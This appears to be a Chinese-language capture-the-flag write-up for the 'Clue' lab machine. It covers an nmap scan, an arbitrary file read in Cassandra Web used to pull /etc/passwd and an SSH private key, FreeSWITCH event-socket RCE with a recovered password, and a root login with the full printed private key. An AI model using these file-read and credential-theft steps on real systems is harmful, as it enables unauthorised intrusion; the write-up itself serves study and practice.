PG_Clue

信息收集：

root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.164.240Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-17 09:42 CSTNmap scan report for 192.168.164.240Host is up (0.0025s latency).Not shown: 65529 filtered portsPORT     STATE SERVICE          VERSION22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey: |   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)80/tcp   open  http             Apache httpd 2.4.38|_http-server-header: Apache/2.4.38 (Debian)|_http-title: 403 Forbidden139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)3000/tcp open  http             Thin httpd|_http-server-header: thin|_http-title: Cassandra Web8021/tcp open  freeswitch-event FreeSWITCH mod_event_socketWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Linux 2.6.32 (91%), Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 2.6.39 - 3.2 (86%), Infomir MAG-250 set-top box (86%)No exact OS matches for host (test conditions non-ideal).Network Distance: 4 hopsService Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:|_ms-sql-info: ERROR: Script execution failed (use -d to debug)|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)| smb-security-mode: |   account_used: guest|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-security-mode: |   2.02: |_    Message signing enabled but not required| smb2-time: |   date: 2025-02-17T01:43:56|_  start_date: N/ATRACEROUTE (using port 80/tcp)HOP RTT     ADDRESS1   2.00 ms 192.168.45.12   1.99 ms 192.168.45.2543   2.34 ms 192.168.251.14   2.42 ms 192.168.164.240OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 145.05 seconds

3000端口开了Cassandra Web，访问一下看看，稍等一会会显示出来如下界面，疑似数据库管理页面

大概搜了下这个

Cassandra Web 结合了前沿的前端技术和可靠的后端服务，旨在简化Apache Cassandra数据库的管理和监控。它利用AngularJS构建响应式的用户界面，与基于Sinatra框架的HTTP API相结合，通过服务器发送事件(Server-Sent Events, SSE)实现实时交互，使得数据管理变得更加流畅和即时。

通过检索，先尝试了CVE-2021-44521能RCE的vul，失败，然后尝试了远程文件读取

成功

python3 49362.py 192.168.164.240 -p 3000 /etc/passwd

远程文件读取尝试读取了local，用户私钥，历史命令都无果后，看了hints（发现掉入兔子洞了

之前nmap扫描还有一个8021端口开放的freeswitch服务，检索漏洞并利用

直接连接会显示认证失败，应该是改了密码，刚刚不是找到了任意文件读取，问了一手GPT

在第二个配置文件读取到了密码

修改py文件的默认密码为：StrongClueConEight021

成功RCE

反弹shell，由于poc传入命令限制，不能过多使用'和"，使用base64

试了很多都不行，不知道是不是V*N的问题，直接读取local先交了

我很疑惑为什么只有3000端口可以弹，可能又是V*N的问题，也可能有防火墙，80端口我服务器占用没办法用

尝试suid提权

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null ;

有sodu权限

有sudo权限，尝试更改用户密码

echo"freeswitch:12345" | chpasswd

失败了，想起之前有看到一个ssh凭证

利用远程文件读取查看一下

python3 49362.py 192.168.164.240 -p 3000 /home/cassie/id_rsa

是一个私钥文件

echo"python3 49362.py 192.168.164.240 -p 3000 /home/cassie/id_rsa" | bash > id_rsa

写入

cat <<EOF > ./id_rsa-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnNhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJed19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdMjWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2mB6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhqgBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9racIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XEQIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBwsmv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshPHUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9YetSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6MmGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+iCbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+0hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fGY2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2CgX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCGkrIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9byyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/YskBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvUDEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknNQ2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTUiw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj4oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw==-----END OPENSSH PRIVATE KEY-----EOF

记得私钥的权限一定要是600

使用私钥连接用户cassie失败，尝试一手root

拿到proof